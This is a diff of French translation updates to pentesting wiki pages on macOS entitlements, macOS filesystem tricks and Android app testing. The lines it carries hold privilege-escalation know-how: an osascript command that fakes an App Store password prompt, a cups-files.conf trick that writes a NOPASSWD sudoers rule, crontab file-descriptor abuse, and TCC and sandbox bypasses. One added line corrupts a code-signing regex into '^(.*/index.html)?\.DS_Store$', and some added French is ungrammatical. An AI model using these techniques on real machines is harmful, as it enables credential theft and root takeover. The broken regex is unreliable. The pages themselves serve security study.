@@ -17,11 +17,11 @@ Le droit **`com.apple.rootless.install`** permet de **contourner SIP**. Consulte
 
 ### **`com.apple.system-task-ports` (précédemment appelé `task_for_pid-allow`)**
 
-Ce droit permet d'obtenir le **port de tâche pour n'importe quel** processus, sauf le noyau. Consultez [**ceci pour plus d'infos**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
+Ce droit permet d'obtenir le **port de tâche pour n'importe quel** processus, sauf le noyau. Consultez [**ceci pour plus d'infos**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
 
 ### `com.apple.security.get-task-allow`
 
-Ce droit permet à d'autres processus avec le droit **`com.apple.security.cs.debugger`** d'obtenir le port de tâche du processus exécuté par le binaire avec ce droit et **d'injecter du code dessus**. Consultez [**ceci pour plus d'infos**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
+Ce droit permet à d'autres processus avec le droit **`com.apple.security.cs.debugger`** d'obtenir le port de tâche du processus exécuté par le binaire avec ce droit et **d'injecter du code dessus**. Consultez [**ceci pour plus d'infos**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
 
 ### `com.apple.security.cs.debugger`
 
@@ -29,11 +29,11 @@ Les applications avec le droit d'outil de débogage peuvent appeler `task_for_pi
 
 ### `com.apple.security.cs.disable-library-validation`
 
-Ce droit permet de **charger des frameworks, des plug-ins ou des bibliothèques sans être signés par Apple ou signés avec le même ID d'équipe** que l'exécutable principal, donc un attaquant pourrait abuser de n'importe quelle bibliothèque chargée pour injecter du code. Consultez [**ceci pour plus d'infos**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
+Ce droit permet de **charger des frameworks, des plug-ins ou des bibliothèques sans être signés par Apple ou signés avec le même ID d'équipe** que l'exécutable principal, donc un attaquant pourrait abuser de n'importe quelle charge de bibliothèque pour injecter du code. Consultez [**ceci pour plus d'infos**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
 
 ### `com.apple.private.security.clear-library-validation`
 
-Ce droit est très similaire à **`com.apple.security.cs.disable-library-validation`** mais **au lieu de** **désactiver directement** la validation des bibliothèques, il permet au processus de **faire un appel système `csops` pour la désactiver**.\
+Ce droit est très similaire à **`com.apple.security.cs.disable-library-validation`** mais **au lieu** de **désactiver directement** la validation des bibliothèques, il permet au processus de **faire un appel système `csops` pour la désactiver**.\
 Consultez [**ceci pour plus d'infos**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
 
 ### `com.apple.security.cs.allow-dyld-environment-variables`
@@ -58,7 +58,7 @@ Le droit **`com.apple.private.icloud-account-access`** permet de communiquer ave
 
 **iMovie** et **Garageband** avaient ce droit.
 
-Pour plus **d'informations** sur l'exploit pour **obtenir des tokens icloud** à partir de ce droit, consultez la conférence : [**#OBTS v5.0 : "Que se passe-t-il sur votre Mac, reste sur l'iCloud d'Apple ?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
+Pour plus **d'informations** sur l'exploit pour **obtenir des tokens icloud** à partir de ce droit, consultez la conférence : [**#OBTS v5.0 : "Ce qui se passe sur votre Mac, reste sur iCloud d'Apple ?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
 
 ### `com.apple.private.tcc.manager.check-by-audit-token`
 
@@ -66,11 +66,11 @@ TODO : Je ne sais pas ce que cela permet de faire
 
 ### `com.apple.private.apfs.revert-to-snapshot`
 
-TODO : Dans [**ce rapport**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **il est mentionné que cela pourrait être utilisé pour** mettre à jour le contenu protégé par SSV après un redémarrage. Si vous savez comment, envoyez un PR s'il vous plaît !
+TODO : Dans [**ce rapport**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **il est mentionné que cela pourrait être utilisé pour** mettre à jour le contenu protégé par SSV après un redémarrage. Si vous savez comment, envoyez une PR s'il vous plaît !
 
 ### `com.apple.private.apfs.create-sealed-snapshot`
 
-TODO : Dans [**ce rapport**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **il est mentionné que cela pourrait être utilisé pour** mettre à jour le contenu protégé par SSV après un redémarrage. Si vous savez comment, envoyez un PR s'il vous plaît !
+TODO : Dans [**ce rapport**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **il est mentionné que cela pourrait être utilisé pour** mettre à jour le contenu protégé par SSV après un redémarrage. Si vous savez comment, envoyez une PR s'il vous plaît !
 
 ### `keychain-access-groups`
 
@@ -93,7 +93,7 @@ Accorde des permissions **d'accès complet au disque**, l'une des permissions le
 
 Permet à l'application d'envoyer des événements à d'autres applications couramment utilisées pour **l'automatisation des tâches**. En contrôlant d'autres applications, elle peut abuser des permissions accordées à ces autres applications.
 
-Comme les faire demander à l'utilisateur son mot de passe :
+Comme leur faire demander le mot de passe de l'utilisateur :
 ```bash
 osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
 ```
@@ -101,11 +101,11 @@ Ou les amener à effectuer **des actions arbitraires**.
 
 ### **`kTCCServiceEndpointSecurityClient`**
 
-Permet, entre autres permissions, de **modifier la base de données TCC des utilisateurs**.
+Permet, entre autres autorisations, de **modifier la base de données TCC des utilisateurs**.
 
 ### **`kTCCServiceSystemPolicySysAdminFiles`**
 
-Permet de **changer** l'attribut **`NFSHomeDirectory`** d'un utilisateur qui change le chemin de son dossier personnel et permet donc de **contourner TCC**.
+Permet de **changer** l'attribut **`NFSHomeDirectory`** d'un utilisateur, ce qui modifie le chemin de son dossier personnel et permet donc de **contourner TCC**.
 
 ### **`kTCCServiceSystemPolicyAppBundles`**
 
@@ -117,7 +117,7 @@ Il est possible de vérifier qui a cet accès dans _Paramètres Système_ > _Con
 
 ### `kTCCServiceAccessibility`
 
-Le processus pourra **abuser des fonctionnalités d'accessibilité de macOS**, ce qui signifie que, par exemple, il pourra appuyer sur des touches. Il pourrait donc demander l'accès pour contrôler une application comme Finder et approuver la boîte de dialogue avec cette permission.
+Le processus pourra **abuser des fonctionnalités d'accessibilité de macOS**, ce qui signifie que, par exemple, il pourra appuyer sur des touches. Il pourrait donc demander l'accès pour contrôler une application comme Finder et approuver la boîte de dialogue avec cette autorisation.
 
 ## Moyen
 
@@ -127,7 +127,7 @@ Cette autorisation permet de **créer de la mémoire qui est écrivable et exéc
 
 ### `com.apple.security.cs.allow-unsigned-executable-memory`
 
-Cette autorisation permet de **remplacer ou de patcher du code C**, d'utiliser le **`NSCreateObjectFileImageFromMemory`** (qui est fondamentalement non sécurisé), ou d'utiliser le framework **DVDPlayback**. Consultez [**ceci pour plus d'infos**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
+Cette autorisation permet de **remplacer ou de patcher du code C**, d'utiliser le très obsolète **`NSCreateObjectFileImageFromMemory`** (qui est fondamentalement peu sûr), ou d'utiliser le framework **DVDPlayback**. Consultez [**ceci pour plus d'infos**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
 
 > [!CAUTION]
 > Inclure cette autorisation expose votre application à des vulnérabilités courantes dans les langages de code non sécurisé en mémoire. Considérez soigneusement si votre application a besoin de cette exception.
@@ -149,7 +149,7 @@ Cette autorisation permet de monter un système de fichiers nullfs (interdit par
 
 ### `kTCCServiceAll`
 
-Selon ce billet de blog, cette permission TCC se trouve généralement sous la forme :
+Selon ce billet de blog, cette autorisation TCC se trouve généralement sous la forme :
 ```
 [Key] com.apple.private.tcc.allow-prompting
 [Value]

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md

@@ -10,17 +10,17 @@ Permissions dans un **répertoire** :
 - **écriture** - vous pouvez **supprimer/écrire** des **fichiers** dans le répertoire et vous pouvez **supprimer des dossiers vides**.
 - Mais vous **ne pouvez pas supprimer/modifier des dossiers non vides** à moins d'avoir des permissions d'écriture dessus.
 - Vous **ne pouvez pas modifier le nom d'un dossier** à moins de le posséder.
-- **exécution** - vous êtes **autorisé à traverser** le répertoire - si vous n'avez pas ce droit, vous ne pouvez accéder à aucun fichier à l'intérieur, ni dans aucun sous-répertoire.
+- **exécution** - vous êtes **autorisé à traverser** le répertoire - si vous n'avez pas ce droit, vous ne pouvez pas accéder à des fichiers à l'intérieur, ni dans des sous-répertoires.
 
 ### Combinaisons dangereuses
 
 **Comment écraser un fichier/dossier appartenant à root**, mais :
 
-- Un **propriétaire de répertoire parent** dans le chemin est l'utilisateur
-- Un **propriétaire de répertoire parent** dans le chemin est un **groupe d'utilisateurs** avec **accès en écriture**
+- Un parent **propriétaire de répertoire** dans le chemin est l'utilisateur
+- Un parent **propriétaire de répertoire** dans le chemin est un **groupe d'utilisateurs** avec **accès en écriture**
 - Un **groupe d'utilisateurs** a un accès **en écriture** au **fichier**
 
-Avec l'une des combinaisons précédentes, un attaquant pourrait **injecter** un **lien sym/hard** vers le chemin attendu pour obtenir une écriture arbitraire privilégiée.
+Avec l'une des combinaisons précédentes, un attaquant pourrait **injecter** un **lien sym/hard** vers le chemin attendu pour obtenir un écriture arbitraire privilégiée.
 
 ### Cas spécial du dossier root R+X
 
@@ -34,7 +34,7 @@ Exemple dans : [https://theevilbit.github.io/posts/exploiting_directory_permissi
 
 Si un processus privilégié écrit des données dans un **fichier** qui pourrait être **contrôlé** par un **utilisateur de moindre privilège**, ou qui pourrait avoir été **précédemment créé** par un utilisateur de moindre privilège. L'utilisateur pourrait simplement **le pointer vers un autre fichier** via un lien symbolique ou dur, et le processus privilégié écrira sur ce fichier.
 
-Vérifiez dans les autres sections où un attaquant pourrait **abuser d'une écriture arbitraire pour élever ses privilèges**.
+Vérifiez dans les autres sections où un attaquant pourrait **abuser d'une écriture arbitraire pour élever les privilèges**.
 
 ### Ouvert `O_NOFOLLOW`
 
@@ -62,7 +62,7 @@ Exemple :
 
 Si un appel à `open` n'a pas le drapeau `O_CLOEXEC`, le descripteur de fichier sera hérité par le processus enfant. Donc, si un processus privilégié ouvre un fichier privilégié et exécute un processus contrôlé par l'attaquant, l'attaquant **héritera le FD sur le fichier privilégié**.
 
-Si vous pouvez faire en sorte qu'un **processus ouvre un fichier ou un dossier avec des privilèges élevés**, vous pouvez abuser de **`crontab`** pour ouvrir un fichier dans `/etc/sudoers.d` avec **`EDITOR=exploit.py`**, de sorte que `exploit.py` obtiendra le FD vers le fichier à l'intérieur de `/etc/sudoers` et l'abusera.
+Si vous pouvez faire en sorte qu'un **processus ouvre un fichier ou un dossier avec des privilèges élevés**, vous pouvez abuser de **`crontab`** pour ouvrir un fichier dans `/etc/sudoers.d` avec **`EDITOR=exploit.py`**, de sorte que `exploit.py` obtiendra le FD vers le fichier à l'intérieur de `/etc/sudoers` et en abusant de celui-ci.
 
 Par exemple : [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), code : https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
 
@@ -97,7 +97,7 @@ xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
 ```
 ### writeextattr ACL
 
-Cette ACL empêche d'ajouter des `xattrs` au fichier.
+Cette ACL empêche l'ajout de `xattrs` au fichier.
 ```bash
 rm -rf /tmp/test*
 echo test >/tmp/test
@@ -195,7 +195,7 @@ Cependant, il existe certains fichiers dont la signature ne sera pas vérifiée,
 </dict>
 <key>rules2</key>
 ...
-<key>^(.*/)?\.DS_Store$</key>
+<key>^(.*/index.html)?\.DS_Store$</key>
 <dict>
 <key>omit</key>
 <true/>
@@ -221,7 +221,7 @@ Cependant, il existe certains fichiers dont la signature ne sera pas vérifiée,
 ...
 </dict>
 ```
-Il est possible de calculer la signature d'une ressource depuis la ligne de commande avec :
+Il est possible de calculer la signature d'une ressource depuis le cli avec :
 ```bash
 openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
 ```
@@ -248,7 +248,7 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
 # You can also create a dmg from an app using:
 hdiutil create -srcfolder justsome.app justsome.dmg
 ```
-Habituellement, macOS monte le disque en communiquant avec le service Mach `com.apple.DiskArbitrarion.diskarbitrariond` (fourni par `/usr/libexec/diskarbitrationd`). Si vous ajoutez le paramètre `-d` au fichier plist des LaunchDaemons et redémarrez, il stockera les journaux dans `/var/log/diskarbitrationd.log`.\
+Habituellement, macOS monte le disque en communiquant avec le service Mach `com.apple.DiskArbitration.diskarbitrationd` (fourni par `/usr/libexec/diskarbitrationd`). Si vous ajoutez le paramètre `-d` au fichier plist des LaunchDaemons et redémarrez, il stockera les journaux dans `/var/log/diskarbitrationd.log`.\
 Cependant, il est possible d'utiliser des outils comme `hdik` et `hdiutil` pour communiquer directement avec le kext `com.apple.driver.DiskImages`.
 
 ## Écritures arbitraires
@@ -286,13 +286,13 @@ Si vous avez **écriture arbitraire**, vous pourriez créer un fichier dans le d
 
 ### Fichiers PATH
 
-Le fichier **`/etc/paths`** est l'un des principaux endroits qui peuplent la variable d'environnement PATH. Vous devez être root pour le remplacer, mais si un script d'un **processus privilégié** exécute une **commande sans le chemin complet**, vous pourriez être en mesure de **détourner** cela en modifiant ce fichier.
+Le fichier **`/etc/paths`** est l'un des principaux endroits qui remplit la variable d'environnement PATH. Vous devez être root pour le remplacer, mais si un script d'un **processus privilégié** exécute une **commande sans le chemin complet**, vous pourriez être en mesure de **détourner** cela en modifiant ce fichier.
 
 Vous pouvez également écrire des fichiers dans **`/etc/paths.d`** pour charger de nouveaux dossiers dans la variable d'environnement `PATH`.
 
 ### cups-files.conf
 
-Cette technique a été utilisée dans [ce rapport](https://www.kandji.io/blog/macos-audit-story-part1).
+Cette technique a été utilisée dans [cet article](https://www.kandji.io/blog/macos-audit-story-part1).
 
 Créez le fichier `/etc/cups/cups-files.conf` avec le contenu suivant :
 ```
@@ -304,11 +304,11 @@ Cela créera le fichier `/etc/sudoers.d/lpe` avec des permissions 777. Le surplu
 
 Ensuite, écrivez dans `/etc/sudoers.d/lpe` la configuration nécessaire pour escalader les privilèges comme `%staff ALL=(ALL) NOPASSWD:ALL`.
 
-Puis, modifiez à nouveau le fichier `/etc/cups/cups-files.conf` en indiquant `LogFilePerm 700` afin que le nouveau fichier sudoers devienne valide en invoquant `cupsctl`.
+Puis, modifiez le fichier `/etc/cups/cups-files.conf` en indiquant `LogFilePerm 700` afin que le nouveau fichier sudoers devienne valide en invoquant `cupsctl`.
 
 ### Évasion du Sandbox
 
-Il est possible d'échapper au sandbox macOS avec un écriture arbitraire sur le FS. Pour quelques exemples, consultez la page [macOS Auto Start](../../../../macos-auto-start-locations.md) mais un exemple courant est d'écrire un fichier de préférences Terminal dans `~/Library/Preferences/com.apple.Terminal.plist` qui exécute une commande au démarrage et de l'appeler en utilisant `open`.
+Il est possible d'échapper au sandbox macOS avec un écriture arbitraire sur le FS. Pour quelques exemples, consultez la page [macOS Auto Start](../../../../macos-auto-start-locations.md), mais un cas courant est d'écrire un fichier de préférences Terminal dans `~/Library/Preferences/com.apple.Terminal.plist` qui exécute une commande au démarrage et de l'appeler en utilisant `open`.
 
 ## Générer des fichiers écrits par d'autres utilisateurs
 
@@ -422,13 +422,13 @@ return 0;
 
 ## Descripteurs protégés macOS
 
-**Descripteurs protégés macOS** sont une fonctionnalité de sécurité introduite dans macOS pour améliorer la sécurité et la fiabilité des **opérations sur des descripteurs de fichiers** dans les applications utilisateur. Ces descripteurs protégés fournissent un moyen d'associer des restrictions spécifiques ou des "gardes" avec des descripteurs de fichiers, qui sont appliquées par le noyau.
+**Les descripteurs protégés macOS** sont une fonctionnalité de sécurité introduite dans macOS pour améliorer la sécurité et la fiabilité des **opérations sur des descripteurs de fichiers** dans les applications utilisateur. Ces descripteurs protégés fournissent un moyen d'associer des restrictions spécifiques ou des "gardes" avec des descripteurs de fichiers, qui sont appliquées par le noyau.
 
 Cette fonctionnalité est particulièrement utile pour prévenir certaines classes de vulnérabilités de sécurité telles que **l'accès non autorisé aux fichiers** ou **les conditions de concurrence**. Ces vulnérabilités se produisent par exemple lorsqu'un thread accède à une description de fichier donnant **à un autre thread vulnérable un accès dessus** ou lorsqu'un descripteur de fichier est **hérité** par un processus enfant vulnérable. Certaines fonctions liées à cette fonctionnalité sont :
 
 - `guarded_open_np`: Ouvre un FD avec une garde
 - `guarded_close_np`: Ferme-le
-- `change_fdguard_np`: Change les drapeaux de garde sur un descripteur (y compris la suppression de la protection de garde)
+- `change_fdguard_np`: Change les drapeaux de garde sur un descripteur (même en supprimant la protection de garde)
 
 ## Références
 

src/mobile-pentesting/android-app-pentesting/README.md

@@ -45,14 +45,14 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
 # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
 java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 ```
-## Analyse statique
+## Analyse Statique
 
 Tout d'abord, pour analyser un APK, vous devriez **jeter un œil au code Java** en utilisant un décompilateur.\
 Veuillez, [**lire ici pour trouver des informations sur les différents décompilateurs disponibles**](apk-decompilers.md).
 
 ### Recherche d'informations intéressantes
 
-En jetant simplement un œil aux **chaînes** de l'APK, vous pouvez rechercher des **mots de passe**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des clés **api**, des **chiffrements**, des **UUIDs Bluetooth**, des **tokens** et tout ce qui est intéressant... cherchez même des **backdoors** d'exécution de code ou des backdoors d'authentification (identifiants administratifs codés en dur dans l'application).
+En jetant simplement un œil aux **chaînes** de l'APK, vous pouvez rechercher des **mots de passe**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des clés **api**, des **chiffrements**, des **UUIDs bluetooth**, des **tokens** et tout ce qui est intéressant... cherchez même des **backdoors** d'exécution de code ou des backdoors d'authentification (identifiants administratifs codés en dur dans l'application).
 
 **Firebase**
 
@@ -60,7 +60,7 @@ Faites particulièrement attention aux **URLs Firebase** et vérifiez si elles s
 
 ### Compréhension de base de l'application - Manifest.xml, strings.xml
 
-L'**examen des fichiers \_Manifest.xml**_\*\* et \*\*_**strings.xml**\_\*\* d'une application peut révéler des vulnérabilités de sécurité potentielles\*\*. Ces fichiers peuvent être accessibles en utilisant des décompilateurs ou en renommant l'extension du fichier APK en .zip puis en le décompressant.
+L'**examen des fichiers \_Manifest.xml**_\*\* et \*\*_**strings.xml**\_\*\* d'une application peut révéler des vulnérabilités de sécurité potentielles\*\*. Ces fichiers peuvent être accessibles à l'aide de décompilateurs ou en renommant l'extension du fichier APK en .zip puis en le décompressant.
 
 Les **vulnérabilités** identifiées dans le **Manifest.xml** incluent :
 
@@ -69,14 +69,14 @@ Les **vulnérabilités** identifiées dans le **Manifest.xml** incluent :
 - **Sécurité réseau** : Les configurations de sécurité réseau personnalisées (`android:networkSecurityConfig="@xml/network_security_config"`) dans _res/xml/_ peuvent spécifier des détails de sécurité comme les certificats et les paramètres de trafic HTTP. Un exemple est de permettre le trafic HTTP pour des domaines spécifiques.
 - **Activités et services exportés** : Identifier les activités et services exportés dans le manifeste peut mettre en évidence des composants qui pourraient être mal utilisés. Une analyse plus approfondie lors des tests dynamiques peut révéler comment exploiter ces composants.
 - **Fournisseurs de contenu et FileProviders** : Les fournisseurs de contenu exposés pourraient permettre un accès ou une modification non autorisés des données. La configuration des FileProviders doit également être examinée.
-- **Receveurs de diffusion et schémas d'URL** : Ces composants pourraient être exploités, en prêtant une attention particulière à la façon dont les schémas d'URL sont gérés pour les vulnérabilités d'entrée.
+- **Receveurs de diffusion et schémas d'URL** : Ces composants pourraient être exploités, en prêtant une attention particulière à la manière dont les schémas d'URL sont gérés pour les vulnérabilités d'entrée.
 - **Versions SDK** : Les attributs `minSdkVersion`, `targetSDKVersion` et `maxSdkVersion` indiquent les versions Android prises en charge, soulignant l'importance de ne pas prendre en charge des versions Android obsolètes et vulnérables pour des raisons de sécurité.
 
 À partir du fichier **strings.xml**, des informations sensibles telles que des clés API, des schémas personnalisés et d'autres notes de développeur peuvent être découvertes, soulignant la nécessité d'un examen attentif de ces ressources.
 
 ### Tapjacking
 
-Le **tapjacking** est une attaque où une **application malveillante** est lancée et **se positionne au-dessus d'une application victime**. Une fois qu'elle obscurcit visiblement l'application victime, son interface utilisateur est conçue de manière à tromper l'utilisateur pour qu'il interagisse avec elle, tout en transmettant l'interaction à l'application victime.\
+Le **Tapjacking** est une attaque où une **application malveillante** est lancée et **se positionne au-dessus d'une application victime**. Une fois qu'elle obscurcit visiblement l'application victime, son interface utilisateur est conçue de manière à tromper l'utilisateur pour qu'il interagisse avec elle, tout en transmettant l'interaction à l'application victime.\
 En effet, cela **aveugle l'utilisateur sur le fait qu'il effectue réellement des actions sur l'application victime**.
 
 Trouvez plus d'informations dans :
@@ -104,7 +104,7 @@ Dans Android, les fichiers **stockés** dans le **stockage interne** sont **con
 1. **Analyse statique :**
 - **Assurez-vous** que l'utilisation de `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` est **soigneusement examinée**. Ces modes **peuvent potentiellement exposer** des fichiers à un **accès non intentionnel ou non autorisé**.
 2. **Analyse dynamique :**
-- **Vérifiez** les **permissions** définies sur les fichiers créés par l'application. En particulier, **vérifiez** si des fichiers sont **définis comme lisibles ou modifiables par tout le monde**. Cela peut poser un risque de sécurité significatif, car cela permettrait à **n'importe quelle application** installée sur l'appareil, quelle que soit son origine ou son intention, de **lire ou modifier** ces fichiers.
+- **Vérifiez** les **permissions** définies sur les fichiers créés par l'application. En particulier, **vérifiez** si des fichiers sont **définis comme lisibles ou modifiables par le monde entier**. Cela peut poser un risque de sécurité significatif, car cela permettrait à **n'importe quelle application** installée sur l'appareil, quelle que soit son origine ou son intention, de **lire ou de modifier** ces fichiers.
 
 **Stockage externe**
 
@@ -117,7 +117,7 @@ Lorsqu'il s'agit de fichiers sur le **stockage externe**, comme les cartes SD, c
 - Le stockage externe peut être retiré ou accessible par n'importe quelle application, ce qui le rend moins sécurisé.
 3. **Gestion des données provenant du stockage externe** :
 - Toujours **effectuer une validation des entrées** sur les données récupérées du stockage externe. Cela est crucial car les données proviennent d'une source non fiable.
-- Il est fortement déconseillé de stocker des exécutables ou des fichiers de classe sur le stockage externe pour un chargement dynamique.
+- Le stockage d'exécutables ou de fichiers de classe sur le stockage externe pour un chargement dynamique est fortement déconseillé.
 - Si votre application doit récupérer des fichiers exécutables à partir du stockage externe, assurez-vous que ces fichiers sont **signés et vérifiés cryptographiquement** avant d'être chargés dynamiquement. Cette étape est vitale pour maintenir l'intégrité de la sécurité de votre application.
 
 Le stockage externe peut être **accédé** dans `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
@@ -149,7 +149,7 @@ Certains développeurs enregistrent des données sensibles dans le stockage loca
 
 **Utilisation d'algorithmes non sécurisés et/ou obsolètes**
 
-Les développeurs ne devraient pas utiliser **d'algorithmes obsolètes** pour effectuer des **vérifications d'autorisation**, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashs** sont utilisés pour stocker des mots de passe par exemple, des hashs résistants à la force brute devraient être utilisés avec du sel.
+Les développeurs ne devraient pas utiliser **d'algorithmes obsolètes** pour effectuer des **vérifications d'autorisation**, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashs** sont utilisés pour stocker des mots de passe par exemple, des hashs résistants à la force brute **devraient** être utilisés avec du sel.
 
 ### Autres vérifications
 
@@ -237,7 +237,7 @@ Grâce à la connexion ADB, vous pouvez utiliser **Drozer** et **Frida** à l'in
 avd-android-virtual-device.md
 {{#endref}}
 
-- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Version gratuite :** Édition personnelle, vous devez créer un compte. _Il est recommandé de **télécharger** la version **AVEC** _ _**VirtualBox** pour éviter des erreurs potentielles._)
+- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Version gratuite :** Édition personnelle, vous devez créer un compte. _Il est recommandé de **télécharger** la version **AVEC** _ **VirtualBox** pour éviter des erreurs potentielles._)
 - [**Nox**](https://es.bignox.com) (Gratuit, mais il ne prend pas en charge Frida ou Drozer).
 
 > [!NOTE]
@@ -262,7 +262,7 @@ Vous devez activer les **options de débogage** et il serait bien si vous pouvie
 > Une fois que vous avez installé l'application, la première chose que vous devriez faire est de l'essayer et d'enquêter sur ce qu'elle fait, comment elle fonctionne et vous y habituer.\
 > Je vous suggérerai de **réaliser cette analyse dynamique initiale en utilisant l'analyse dynamique MobSF + pidcat**, afin que nous puissions **apprendre comment l'application fonctionne** pendant que MobSF **capture** beaucoup de **données intéressantes** que vous pourrez examiner plus tard.
 
-### Fuite de données involontaire
+### Fuite de données non intentionnelle
 
 **Journalisation**
 
@@ -309,7 +309,7 @@ Rappelez-vous également que le code d'une activité commence dans la méthode *
 
 Lorsqu'une activité est exportée, vous pouvez invoquer son écran depuis une application externe. Par conséquent, si une activité contenant des **informations sensibles** est **exportée**, vous pourriez **contourner** les mécanismes **d'authentification** **pour y accéder.**
 
-[**Apprenez comment exploiter les activités exportées avec Drozer.**](drozer-tutorial/index.html#activities)
+[**Apprenez à exploiter les activités exportées avec Drozer.**](drozer-tutorial/index.html#activities)
 
 Vous pouvez également démarrer une activité exportée depuis adb :
 
@@ -334,7 +334,7 @@ Si le tapjacking n'est pas prévenu, vous pourriez abuser de l'activité export
 ### Exploitation des Content Providers - Accéder et manipuler des informations sensibles
 
 [**Lisez ceci si vous voulez rafraîchir ce qu'est un Content Provider.**](android-applications-basics.md#content-provider)\
-Les content providers sont essentiellement utilisés pour **partager des données**. Si une application dispose de content providers disponibles, vous pourriez être en mesure d'**extraire des données sensibles** à partir d'eux. Il est également intéressant de tester d'éventuelles **injections SQL** et **Path Traversals** car elles pourraient être vulnérables.
+Les content providers sont essentiellement utilisés pour **partager des données**. Si une application a des content providers disponibles, vous pourriez être en mesure d'**extraire des données sensibles** à partir d'eux. Il est également intéressant de tester d'éventuelles **injections SQL** et **Path Traversals** car elles pourraient être vulnérables.
 
 [**Apprenez à exploiter les Content Providers avec Drozer.**](drozer-tutorial/index.html#content-providers)
 
@@ -395,7 +395,7 @@ Un [rapport de bug bounty intéressant](https://hackerone.com/reports/855618) co
 
 #### Vérification des certificats
 
-Nous allons nous concentrer sur la **vérification des certificats**. L'intégrité du certificat du serveur doit être vérifiée pour améliorer la sécurité. Cela est crucial car des configurations TLS non sécurisées et la transmission de données sensibles par des canaux non chiffrés peuvent poser des risques significatifs. Pour des étapes détaillées sur la vérification des certificats de serveur et le traitement des vulnérabilités, [**cette ressource**](https://manifestsecurity.com/android-application-security-part-10/) fournit des conseils complets.
+Nous allons nous concentrer sur la **vérification des certificats**. L'intégrité du certificat du serveur doit être vérifiée pour améliorer la sécurité. Cela est crucial car des configurations TLS non sécurisées et la transmission de données sensibles par des canaux non chiffrés peuvent poser des risques significatifs. Pour des étapes détaillées sur la vérification des certificats de serveur et la résolution des vulnérabilités, [**cette ressource**](https://manifestsecurity.com/android-application-security-part-10/) fournit des conseils complets.
 
 #### SSL Pinning
 
@@ -427,7 +427,7 @@ Il est également important de rechercher des vulnérabilités web courantes au
 **Vous pouvez accéder à l'application en cours d'exécution et accrocher des méthodes en temps réel pour changer le comportement, changer des valeurs, extraire des valeurs, exécuter différents codes...**\
 Si vous souhaitez effectuer un pentesting sur des applications Android, vous devez savoir comment utiliser Frida.
 
-- Apprenez à utiliser Frida : [**Tutoriel Frida**](frida-tutorial/)
+- Apprenez à utiliser Frida : [**Tutoriel Frida**](frida-tutorial/index.html)
 - Une sorte de "GUI" pour les actions avec Frida : [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
 - Ojection est excellent pour automatiser l'utilisation de Frida : [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
 - Vous pouvez trouver des scripts Frida intéressants ici : [**https://codeshare.frida.re/**](https://codeshare.frida.re)
@@ -452,7 +452,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
 ```
 ### **Données sensibles dans le Keystore**
 
-Dans Android, le Keystore est le meilleur endroit pour stocker des données sensibles, cependant, avec suffisamment de privilèges, il est toujours **possible d'y accéder**. Comme les applications ont tendance à y stocker **des données sensibles en texte clair**, les pentests devraient vérifier cela en tant qu'utilisateur root ou toute personne ayant un accès physique à l'appareil pourrait être en mesure de voler ces données.
+Dans Android, le Keystore est le meilleur endroit pour stocker des données sensibles, cependant, avec suffisamment de privilèges, il est toujours **possible d'y accéder**. Comme les applications ont tendance à stocker ici **des données sensibles en texte clair**, les pentests devraient vérifier cela en tant qu'utilisateur root ou quelqu'un ayant un accès physique à l'appareil pourrait être en mesure de voler ces données.
 
 Même si une application stocke des données dans le keystore, les données devraient être chiffrées.
 
@@ -486,7 +486,7 @@ Cet outil peut vous aider à gérer différents outils lors de l'analyse dynamiq
 
 Les développeurs créent souvent des composants proxy comme des activités, des services et des récepteurs de diffusion qui gèrent ces Intents et les transmettent à des méthodes telles que `startActivity(...)` ou `sendBroadcast(...)`, ce qui peut être risqué.
 
